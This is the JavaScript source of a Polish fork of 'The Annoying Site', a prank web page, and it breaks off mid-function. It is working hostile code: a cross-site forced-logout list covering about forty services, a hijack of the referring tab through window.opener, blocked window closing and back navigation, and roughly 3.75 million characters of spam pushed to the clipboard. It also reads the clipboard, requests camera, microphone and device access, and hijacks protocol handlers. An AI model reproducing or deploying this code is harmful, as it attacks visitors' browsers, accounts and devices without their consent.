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/*
ptoszek.pl
Powered by Jaczup
My version (ptoszek.pl):
- https://github.com/jaczup/ptoszek.pl
Original version (theannoyingsite.com):
- https://github.com/feross/TheAnnoyingSite.com/
Contact with me: https://jaczup.pl
Contributors:
@jaczup - https://github.com/jaczup
@intexpression - https://github.com/intexpression
@dan64iel - https://github.com/dan64iel
@imzeme - https://github.com/imzeme
@GameShoot8050 - https://github.com/GameShoot8050
@wetraks - https://github.com/wetraks
@cryblanka - https://github.com/cryblanka
@9fm - https://github.com/9fm
@MARECKIyt - https://github.com/MARECKIyt
*/
const SCREEN_WIDTH = window.screen.availWidth
const SCREEN_HEIGHT = window.screen.availHeight
const WIN_WIDTH = 480
const WIN_HEIGHT = 260
const VELOCITY = 15
const MARGIN = 10
const TICK_LENGTH = 50
const HIDDEN_STYLE = 'position: fixed; width: 1px; height: 1px; overflow: hidden; top: -10px; left: -10px;'
const ART = [
`
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`,
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`
]
const SEARCHES = [
'jshop',
'ptoszek',
'ptak',
'kanarek',
'jaczup'
]
const VIDEOS = [
'media/videos/jaczup.mp4',
'media/videos/duck.mp4',
'media/videos/rickroll.mp4',
'media/videos/golomb.mp4',
'media/videos/mushbox.mp4',
'media/videos/clearmax.mp4',
'media/videos/freestrona.mp4',
'media/videos/ajhsdfhjasdbhfjasdfs.mp4',
'media/videos/v09044g40000cgr968jc77u1t2krb89g.mov',
'media/videos/intro.mp4',
'media/videos/szybkakaczka.mp4', // added by @dan64iel
'media/videos/kaczuszka.mp4', //added by @imzeme
'media/videos/gratulacje.mp4' //added by @GameShoot8050
]
const FILE_DOWNLOADS = [
'media/images/ptok.jpg',
'media/images/jaczup.jpg',
'media/images/jaczupme.jpg',
'media/images/ptoszek.jpg',
'media/images/ptakwspodniach.jpg',
'media/images/kichajacyptoszek.jpg',
'media/images/lubieptoszki.png',
'media/images/zimowyptoszek.jpeg', // added by @dan64iel
'media/images/zlyptok.jpeg', //added by @imzeme
'media/images/grubyptok.jpg', //added by @imzeme
'media/images/ptokzjajami.jpeg' //added by @MARECKIyt
]
const PHRASES = [
'hello my name is ptoszek, lol',
'birds are funny lalalalalalalallalala',
'wgl co u cb bo u mn dbr',
'knuuurrr eksplozja',
'hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw hee haw',
'abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak',
'eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo'
]
const LOGOUT_SITES = {
Discord: ['POST', 'https://discord.com/api/v9/auth/logout', {provider: null, voip_provider: null}],
Amazon: ['GET', 'https://www.amazon.com/gp/flex/sign-out.html?action=sign-out'],
DeviantART: ['POST', 'https://www.deviantart.com/users/logout'],
Dropbox: ['GET', 'https://www.dropbox.com/logout'],
eBay: ['GET', 'https://signin.ebay.com/ws/eBayISAPI.dll?SignIn'],
GitHub: ['GET', 'https://github.com/logout'],
GMail: ['GET', 'https://mail.google.com/mail/?logout'],
Google: ['GET', 'https://www.google.com/accounts/Logout'], // works!
Hulu: ['GET', 'https://secure.hulu.com/logout'],
NetFlix: ['GET', 'https://www.netflix.com/Logout'],
Skype: ['GET', 'https://secure.skype.com/account/logout'],
SoundCloud: ['GET', 'https://soundcloud.com/logout'],
'Steam Community': ['GET', 'https://steamcommunity.com/?action=doLogout'],
'Steam Store': ['GET', 'https://store.steampowered.com/logout/'],
Wikipedia: ['GET', 'https://en.wikipedia.org/w/index.php?title=Special:UserLogout'],
'Windows Live': ['GET', 'https://login.live.com/logout.srf'],
Wordpress: ['GET', 'https://wordpress.com/wp-login.php?action=logout'],
Yahoo: ['GET', 'https://login.yahoo.com/config/login?.src=fpctx&logout=1&.direct=1&.done=https://www.yahoo.com/'],
YouTube: ['POST', 'https://www.youtube.com', { action_logout: '1' }],
JShop: ['GET', 'https://jshop.partners/panel/logout'],
Vimeo: ['GET', 'https://vimeo.com/log_out'], // added by @intexpression
Tumblr: ['GET', 'https://www.tumblr.com/logout'], // added by @intexpression
Allegro: ['GET', 'https://allegro.pl/wyloguj?origin_url=/'], // added by @intexpression
OnetMail: ['GET', 'https://authorisation.grupaonet.pl/logout.html?state=logout&client_id=poczta.onet.pl.front.onetapi.pl'], // added by @intexpression
InteriaMail: ['GET', 'https://poczta.interia.pl/logowanie/sso/logout'], // added by @intexpression
OLX: ['GET', 'https://www.olx.pl/account/logout'], // added by @intexpression
Roblox: ['POST', 'https://auth.roblox.com/v2/logout'], // added by @cryblanka
ChatGPT: ['GET', 'https://chatgpt.com/auth/logout'], // added by @cryblanka
Guilded: ['POST', 'https://www.guilded.gg/api/logout'], // added by @cryblanka
LinkedIn: ['GET', 'https://www.linkedin.com/m/logout/'], // added by @MARECKIyt
Pinterest: ['GET', 'https://www.pinterest.com/logout/'], // added by @MARECKIyt
Reddit: ['GET', 'https://www.reddit.com/logout'], // added by @MARECKIyt
Spotify: ['GET', 'https://www.spotify.com/logout/'], // added by @MARECKIyt
Microsoft: ['GET', 'https://login.microsoftonline.com/common/oauth2/logout'], // added by @MARECKIyt
Instagram: ['GET', 'https://www.instagram.com/accounts/logout/'], // added by @MARECKIyt
Trello: ['GET', 'https://trello.com/logout'], // added by @MARECKIyt
Baidu: ['GET', 'https://passport.baidu.com/?logout'], // added by @MARECKIyt
VK: ['GET', 'https://vk.com/exit'], // added by @MARECKIyt
StackOverflow: ['GET', 'https://stackoverflow.com/users/logout'] // added by @MARECKIyt
}
/**
* Array to store the child windows spawned by this window.
*/
const wins = []
/**
* Count of number of clicks - added by @9fm
*/
let interactionCount = 0
//Bardzo dlugi string xd, ciulowa implementacja ale to chyba lepsze niz ~ 4 miliony znakow w pliku poprostu - added by @9fm
const veryLongString = repeatStringNumTimes(repeatStringNumTimes('zostałeś zptoszkowany!!1 ',100),1500) // - added by @9fm
/**
* Number of iframes injected into the page for the "super logout" functionality.
* See superLogout().
*/
let numSuperLogoutIframes = 0
/**
* Is this window a child window? A window is a child window if there exists a
* parent window (i.e. the window was opened by another window so `window.opener`
* is set) *AND* that parent is a window on the same origin (i.e. the window was
* opened by us, not an external website)
*/
const isChildWindow = (window.opener && isParentSameOrigin()) ||
window.location.search.indexOf('child=true') !== -1
/**
* Is this window a parent window?
*/
const isParentWindow = !isChildWindow
/*
* Run this code in all windows, *both* child and parent windows.
*/
init()
/*
* Use `window.opener` to detect if this window was opened by another window, which
* will be its parent. The `window.opener` variable is a reference to the parent
* window.
*/
if (isChildWindow) initChildWindow()
else initParentWindow()
/**
* Initialization code for *both* parent and child windows.
*/
function init () {
confirmPageUnload()
interceptUserInput(event => {
interactionCount += 1
// Prevent default behavior (breaks closing window shortcuts)
event.preventDefault()
event.stopPropagation()
// 'touchstart' and 'touchend' events are not able to open a new window
// (at least in Chrome), so don't even try. Checking `event.which !== 0` is just
// a clever way to exclude touch events.
if (event.which !== 0) openWindow()
startVibrateInterval()
enablePictureInPicture()
triggerFileDownload()
focusWindows()
copySpamToClipboard()
speak()
startTheramin()
// Capture key presses on the Command or Control keys, to interfere with the
// "Close Window" shortcut.
if (event.key === 'Meta' || event.key === 'Control') {
window.print()
requestWebauthnAttestation()
window.print()
requestWebauthnAttestation()
window.print()
requestWebauthnAttestation()
} else {
requestPointerLock()
if (!window.ApplePaySession) {
// Don't request TouchID on every interaction in Safari since it blocks
// the event loop and stops windows from moving
requestWebauthnAttestation()
}
requestClipboardRead()
requestMidiAccess()
requestBluetoothAccess()
requestUsbAccess()
requestSerialAccess()
requestHidAccess()
requestCameraAndMic()
requestFullscreen()
}
})
}
/**
* Initialization code for child windows.
*/
function initChildWindow () {
registerProtocolHandlers()
hideCursor()
moveWindowBounce()
startVideo()
detectWindowClose()
triggerFileDownload()
speak()
rainbowThemeColor()
animateUrlWithEmojis()
interceptUserInput(event => {
if (interactionCount === 1) {
startAlertInterval()
}
})
}
/**
* Initialization code for parent windows.
*/
function initParentWindow () {
showHelloMessage()
blockBackButton()
fillHistory()
startInvisiblePictureInPictureVideo()
interceptUserInput(event => {
// Only run these on the first interaction
if (interactionCount === 1) {
registerProtocolHandlers()
attemptToTakeoverReferrerWindow()
hideCursor()
startVideo()
startAlertInterval()
superLogout()
removeHelloMessage()
rainbowThemeColor()
animateUrlWithEmojis()
speak('To był błąd')
}
})
}
/**
* Sites that link to theannoyingsite.com may specify `target='_blank'` to open the
* link in a new window. For example, Messenger.com from Facebook does this.
* However, that means that `window.opener` will be set, which allows us to redirect
* that window. YES, WE CAN REDIRECT THE SITE THAT LINKED TO US.
* Learn more here: https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/
*/
function attemptToTakeoverReferrerWindow () {
if (isParentWindow && window.opener && !isParentSameOrigin()) {
window.opener.location = `${window.location.origin}/?child=true`
}
}
/**
* Returns true if the parent window is on the same origin. It's not enough to check
* that `window.opener` is set, because that will also get set if a site on a
* different origin links to theannoyingsite.com with `target='_blank'`.
*/
function isParentSameOrigin () {
try {
// May throw an exception if `window.opener` is on another origin
return window.opener.location.origin === window.location.origin
} catch (err) {
return false
}
}
/**
* Ask the user "are you sure you want to leave this page?". In most browsers,
* this will not actually do anything unless the user has at least one interaction
* with the page before they close it.
*/
function confirmPageUnload () {
window.addEventListener('beforeunload', event => {
speak('Please don\'t go!')
event.returnValue = true
})
}
/**
* Attempt to register all possible browser-whitelisted protocols to be handled by
* this web app instead of their default handlers.
*/
function registerProtocolHandlers () {
if (typeof navigator.registerProtocolHandler !== 'function') return
const protocolWhitelist = [
'bitcoin',
'geo',
'im',
'irc',
'ircs',
'magnet',
'mailto',
'mms',
'news',
'ircs',
'nntp',
'sip',
'sms',
'smsto',
'ssh',
'tel',
'urn',
'webcal',
'wtai',
'xmpp'
]
const handlerUrl = window.location.href + '/url=%s'
protocolWhitelist.forEach(proto => {
navigator.registerProtocolHandler(proto, handlerUrl, 'Ptoszek')
})
}
/**
* Attempt to access the user's camera and microphone, and attempt to enable the
* torch (i.e. camera flash) if the device has one.
*/
function requestCameraAndMic () {
if (!navigator.mediaDevices ||
typeof navigator.mediaDevices.getUserMedia !== 'function') {
return
}
navigator.mediaDevices.enumerateDevices().then(devices => {
const cameras = devices.filter((device) => device.kind === 'videoinput')
if (cameras.length === 0) return
const camera = cameras[cameras.length - 1]
navigator.mediaDevices.getUserMedia({
deviceId: camera.deviceId,
facingMode: ['user', 'environment'],
audio: true,
video: true
}).then(stream => {
const track = stream.getVideoTracks()[0]
const imageCapture = new window.ImageCapture(track)
imageCapture.getPhotoCapabilities().then(() => {
// Let there be light!
track.applyConstraints({ advanced: [{ torch: true }] })
}, () => { /* No torch on this device */ })
}, () => { /* ignore errors */ })
})
}
/**
* Animating the URL with emojis
* See: https://matthewrayfield.com/articles/animating-urls-with-javascript-and-emojis/
*/
function animateUrlWithEmojis () {
if (window.ApplePaySession) {
// Safari doesn't show the full URL anyway, so we can't animate it
return
}
const rand = Math.random()
if (rand < 0.33) {
animateUrlWithBabies()
} else if (rand < 0.67) {
animateUrlWithWave()
} else {
animateUrlWithMoons()
}
function animateUrlWithBabies () {
const e = ['🏻', '🏼', '🏽', '🏾', '🏿']
setInterval(() => {
let s = ''
let i; let m
for (i = 0; i < 10; i++) {
m = Math.floor(e.length * ((Math.sin((Date.now() / 100) + i) + 1) / 2))
s += '👶' + e[m]
}
window.location.hash = s
}, 100)
}
function animateUrlWithWave () {
setInterval(() => {
let i; let n; let s = ''
for (i = 0; i < 10; i++) {
n = Math.floor(Math.sin((Date.now() / 200) + (i / 2)) * 4) + 4
s += String.fromCharCode(0x2581 + n)
}
window.location.hash = s
}, 100)
}
function animateUrlWithMoons () {
const f = ['🌑', '🌘', '🌗', '🌖', '🌕', '🌔', '🌓', '🌒']
const d = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
let m = 0
setInterval(() => {
let s = ''
let x = 0
if (!m) {
while (d[x] === 4) {
x++
}
if (x >= d.length) m = 1
else {
d[x]++
}
} else {
while (d[x] === 0) {
x++
}
if (x >= d.length) m = 0
else {
d[x]++
if (d[x] === 8) d[x] = 0
}
}
d.forEach(function (n) {
s += f[n]
})
window.location.hash = s
}, 100)
}
}
/**
* Lock the user's pointer, without even being in full screen!
* Require user-initiated event.
*/
function requestPointerLock () {
const requestPointerLockApi = (
document.body.requestPointerLock ||
document.body.webkitRequestPointerLock ||
document.body.mozRequestPointerLock ||
document.body.msRequestPointerLock
)
requestPointerLockApi.call(document.body)
}
/**
* Start vibrating the device at random intervals, on supported devices.
* Requires user-initiated event.
*/
function startVibrateInterval () {
if (typeof window.navigator.vibrate !== 'function') return
setInterval(() => {
const duration = Math.floor(Math.random() * 600)
window.navigator.vibrate(duration)
}, 1000)
// If the gamepad can vibrate, we will at random intervals every second. And at random strengths!
window.addEventListener('gamepadconnected', (event) => {
const gamepad = event.gamepad
if (gamepad.vibrationActuator) {
setInterval(() => {
if (gamepad.connected) {
gamepad.vibrationActuator.playEffect('dual-rumble', {
duration: Math.floor(Math.random() * 600),
strongMagnitude: Math.random(),
weakMagnitude: Math.random()
})
}
}, 1000)
}
})
}
/**
* Intercept all user-initiated events and call the given the function, `onInput`.
*/
function interceptUserInput (onInput) {
document.body.addEventListener('touchstart', onInput, { passive: false })
document.body.addEventListener('mousedown', onInput)
document.body.addEventListener('mouseup', onInput)
document.body.addEventListener('click', onInput)
document.body.addEventListener('keydown', onInput)
document.body.addEventListener('keyup', onInput)
document.body.addEventListener('keypress', onInput)
}
/**
* Start an invisible, muted video so we have a one ready to put into
* picture-in-picture mode on the first user-interaction.
*/
function startInvisiblePictureInPictureVideo () {
const video = document.createElement('video')
video.src = getRandomArrayEntry(VIDEOS)
video.loop = true
video.muted = true
video.style = HIDDEN_STYLE
video.autoplay = true
video.play()
document.body.appendChild(video)
}
/**
* Active Safari's picture-in-picture feature, which let's show a video on the
* desktop. Requires user-initiated event.
*/
function enablePictureInPicture () {
const video = document.querySelector('video')
if (document.pictureInPictureEnabled) {
video.style = ''
video.muted = false
video.requestPictureInPicture()
video.play()
}
}
/**
* Focus all child windows. Requires user-initiated event.
*/
function focusWindows () {
wins.forEach(win => {
if (!win.closed) win.focus()
})
}
/**
* Open a new popup window. Requires user-initiated event.
*/
function openWindow () {
const { x, y } = getRandomCoords()
const opts = `width=${WIN_WIDTH},height=${WIN_HEIGHT},left=${x},top=${y}`
const win = window.open(window.location.pathname, '', opts)
// New windows may be blocked by the popup blocker
if (!win) return
wins.push(win)
if (wins.length === 2) setupSearchWindow(win)
// Added by @wetraks
win.onunload = function () {
// Some browsers might not support onunload, but include it for completeness
return false;
};
// For modern browsers
win.addEventListener("beforeunload", function (e) {
e.preventDefault();
e.returnValue = "";
});
// For older browsers
win.onbeforeunload = function () {
return "";
};
// Added by @wetraks
}
/**
* Hide the user's cursor!
*/
function hideCursor () {
document.querySelector('html').style = 'cursor: none;'
}
/**
* Trigger a file download immediately. One file download is allowed *without* user
* interaction. Further file downloads should happen in response to a user-initiated
* event or they will be blocked.
*/
function triggerFileDownload () {
const fileName = getRandomArrayEntry(FILE_DOWNLOADS)
const a = document.createElement('a')
a.href = fileName
a.download = fileName
a.click()
}
/**
* Speak the given `phrase` using text-to-speech.
*/
function speak (phrase) {
if (phrase == null) phrase = getRandomArrayEntry(PHRASES)
window.speechSynthesis.speak(new window.SpeechSynthesisUtterance(phrase))
}
/**
* Start an annoying theramin that changes pitch and volume depending on
* the mouse position. Uses a Web Audio oscillator. Reauires user-initiated
* event.
* Based on https://github.com/feross/TheAnnoyingSite.com/pull/2
*/
function startTheramin () {
const audioContext = new AudioContext()
const oscillatorNode = audioContext.createOscillator()
const gainNode = audioContext.createGain()
const pitchBase = 50
const pitchRange = 4000
const wave = audioContext.createPeriodicWave(
Array(10).fill(0).map((v, i) => Math.cos(i)),
Array(10).fill(0).map((v, i) => Math.sin(i))
)
oscillatorNode.setPeriodicWave(wave)
oscillatorNode.connect(gainNode)
gainNode.connect(audioContext.destination)
oscillatorNode.start(0)
const oscillator = ({ pitch, volume }) => {
oscillatorNode.frequency.value = pitchBase + pitch * pitchRange
gainNode.gain.value = volume * 3
}
document.body.addEventListener('mousemove', event => {
const { clientX, clientY } = event
const { clientWidth, clientHeight } = document.body
const pitch = (clientX - clientWidth / 2) / clientWidth
const volume = (clientY - clientHeight / 2) / clientHeight
oscillator({ pitch, volume })
})
}
/**
* Attempt to read the user's clipboard.
* Requires user-initiated event.
*/
function requestClipboardRead () {
try {
navigator.clipboard.readText().then(
data => {
if (!window.ApplePaySession) {
// Don't alert in Safari because it blocks the event loop
window.alert("Successfully read data from clipboard: '" + data + "'")
}
},
() => {}
)
} catch {}
}
/**
* Request Webauthn attestation.
* Requires user-initiated event.
*/
function requestWebauthnAttestation () {
try {
// From https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API
// This code is public domain, per https://developer.mozilla.org/en-US/docs/MDN/About#Copyrights_and_licenses
// sample arguments for registration
const createCredentialDefaultArgs = {
publicKey: {
// Relying Party (a.k.a. - Service):
rp: {
name: 'Acme'
},
// User:
user: {
id: new Uint8Array(16),
name: '[email protected]',
displayName: 'Ptoszek Jaczupa'
},
pubKeyCredParams: [{
type: 'public-key',
alg: -7
}],
attestation: 'direct',
timeout: 60000,
challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
0x8C, 0x0A, 0x26, 0xFF, 0x22, 0x91, 0xC1, 0xE9, 0xB9, 0x4E, 0x2E, 0x17, 0x1A, 0x98, 0x6A, 0x73,
0x71, 0x9D, 0x43, 0x48, 0xD5, 0xA7, 0x6A, 0x15, 0x7E, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0F, 0xEF
]).buffer
}
}
// sample arguments for login
const getCredentialDefaultArgs = {
publicKey: {
timeout: 60000,
// allowCredentials: [newCredential] // see below
challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
0x79, 0x50, 0x68, 0x71, 0xDA, 0xEE, 0xEE, 0xB9, 0x94, 0xC3, 0xC2, 0x15, 0x67, 0x65, 0x26, 0x22,
0xE3, 0xF3, 0xAB, 0x3B, 0x78, 0x2E, 0xD5, 0x6F, 0x81, 0x26, 0xE2, 0xA6, 0x01, 0x7D, 0x74, 0x50
]).buffer
}
}
// register / create a new credential
navigator.credentials.create(createCredentialDefaultArgs)
.then((cred) => {
// normally the credential IDs available for an account would come from a server
// but we can just copy them from above...
const idList = [{
id: cred.rawId,
transports: ['usb', 'nfc', 'ble'],
type: 'public-key'
}]
getCredentialDefaultArgs.publicKey.allowCredentials = idList
return navigator.credentials.get(getCredentialDefaultArgs)
})
} catch {}
}
/**
* Request access to MIDI devices.
* Requires user-initiated event.
*/
function requestMidiAccess () {
try {
navigator.requestMIDIAccess({
sysex: true
})
} catch {}
}
/**
* Request access to Bluetooth devices.
* Requires user-initiated event.
*/
function requestBluetoothAccess () {
try {
navigator.bluetooth.requestDevice({
// filters: [...] <- Prefer filters to save energy & show relevant devices.
// acceptAllDevices here ensures dialog can populate, we don't care with what.
acceptAllDevices: true
})
.then(device => device.gatt.connect())
} catch {}
}
/**
* Request access to USB devices.
* Requires user-initiated event.
*/
function requestUsbAccess () {
try {
navigator.usb.requestDevice({ filters: [{}] })
} catch {}
}
/**
* Request access to Serial devices.
* Requires user-initiated event.
*/
function requestSerialAccess () {
try {
navigator.serial.requestPort({ filters: [] })
} catch {}
}
/**
* Request access to HID devices.
* Requires user-initiated event.
*/
function requestHidAccess () {
try {
navigator.hid.requestDevice({ filters: [] })
} catch {}
}
/**
* Move the window around the screen and bounce off of the screen edges.
*/
function moveWindowBounce () {
let vx = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
let vy = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
setInterval(() => {
const x = window.screenX
const y = window.screenY
const width = window.outerWidth
const height = window.outerHeight
if (x < MARGIN) vx = Math.abs(vx)
if (x + width > SCREEN_WIDTH - MARGIN) vx = -1 * Math.abs(vx)
if (y < MARGIN + 20) vy = Math.abs(vy)
if (y + height > SCREEN_HEIGHT - MARGIN) vy = -1 * Math.abs(vy)
window.moveBy(vx, vy)
}, TICK_LENGTH)
}
/**
* Show a random troll video in the window.
*/
function startVideo () {
const video = document.createElement('video')
video.src = getRandomArrayEntry(VIDEOS)
video.autoplay = true
video.loop = true
video.style = 'width: 100%; height: 100%;'
document.body.appendChild(video)
}
/**
* When a child window closes, notify the parent window so it can remove it from
* the list of child windows.
*/
function detectWindowClose () {
window.addEventListener('unload', () => {
if (!window.opener.closed) window.opener.onCloseWindow(window)
})
}
/**
* Handle a child window closing.
*/
function onCloseWindow (win) {
const i = wins.indexOf(win)
if (i >= 0) wins.splice(i, 1)
}
/**
* Show the unsuspecting user a friendly hello message with a cat.
*/
function showHelloMessage () {
const template = document.querySelector('template')
const clone = document.importNode(template.content, true)
document.body.appendChild(clone)
}
/**
* Remove the hello message.
*/
function removeHelloMessage () {
const helloMessage = document.querySelector('.hello-message')
helloMessage.remove()
}
/**
* Change the theme color of the browser in a loop.
*/
function rainbowThemeColor () {
function zeroFill (width, number, pad = '0') {
width -= number.toString().length
if (width > 0) return new Array(width + (/\./.test(number) ? 2 : 1)).join(pad) + number
return number + ''
}
const meta = document.querySelector('meta.theme-color')
setInterval(() => {
meta.setAttribute('content', '#' + zeroFill(6, Math.floor(Math.random() * 16777215).toString(16)))
}, 50)
}
function repeatStringNumTimes(string, times) {
var repeatedString = "";
while (times > 0) {
repeatedString += string;
times--;
}
return repeatedString;
}
/**
* Kopiuje ~4 miliony znaków do schowka - added by @9fm
*/
function copySpamToClipboard () {
clipboardCopy(veryLongString)
}
/**
* Copy given text, `text`, onto the user's clipboard.
* Requires user-initiated event.
*/
function clipboardCopy (text) {
// A <span> contains the text to copy
const span = document.createElement('span')
span.textContent = text
span.style.whiteSpace = 'pre' // Preserve consecutive spaces and newlines
// An <iframe> isolates the <span> from the page's styles
const iframe = document.createElement('iframe')
iframe.sandbox = 'allow-same-origin'
document.body.appendChild(iframe)
let win = iframe.contentWindow
win.document.body.appendChild(span)
let selection = win.getSelection()
// Firefox fails to get a selection from <iframe> window, so fallback
if (!selection) {
win = window
selection = win.getSelection()
document.body.appendChild(span)
}
const range = win.document.createRange()
selection.removeAllRanges()
range.selectNode(span)
selection.addRange(range)
let success = false
try {
success = win.document.execCommand('copy')
} catch (err) {
console.log(err)
}
selection.removeAllRanges()
span.remove()
iframe.remove()
return success
}
/**
* Show a modal dialog at a regular interval. Modals capture focus from other OS apps and browser tabs.
* Except in Chrome 64+, where modals can only capture focus from other OS apps,
* but not from other tabs.
*/
function startAlertInterval () {
setInterval(() => {
if (Math.random() < 0.5) {
showAlert()
} else {